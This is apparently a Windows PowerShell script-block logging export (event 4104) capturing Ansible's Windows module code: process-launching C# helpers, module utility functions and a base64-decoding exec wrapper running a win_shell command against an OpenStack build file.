public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: ec2613a3-f8fc-497c-a9f7-2c143f7dca8a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1602 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0004-8a26-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 4448ad33-f32f-4823-9ad8-8b8b39dcfa63
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1601 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0003-6def-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 60bd4e1f-5f73-4981-8238-a671fb42c080
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1600 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0004-7c26-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
ue;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: dfe48050-f97b-4679-9051-3b2d40796f1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1599 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0004-7626-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
gICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAg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gICAgICRyZXN1bHQucmMgPSAkXy5FeGNlcHRpb24uTmF0aXZlRXJyb3JDb2RlCiAgICB9IGNhdGNoIHsKICAgICAgICAkcmVzdWx0LnJjID0gMgogICAgfQogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAkXy5FeGNlcHRpb24uTWVzc2FnZQp9CgojIFRPRE86IGRlY29kZSBDTElYTUwgc3RkZXJyIG91dHB1dCAoYW5kIG90aGVyIHN0cmVhbXM/KQokcmVzdWx0LnN0ZG91dCA9ICRjb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Select-String -path c:\\openstack\\build\\os-win\\\\setup.cfg -pattern \"^name.*=.*\" | % {$_.matches.value.split(\"=\")[1].trim()}", "_ansible_verbosity": 4, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$tr
ScriptBlock ID: dfe48050-f97b-4679-9051-3b2d40796f1f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1598 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3912 | 4944 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:44 AM | dfeadd90-ee34-0004-7626-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty]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gPSByYwogICAgICAgICAgICB9OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAg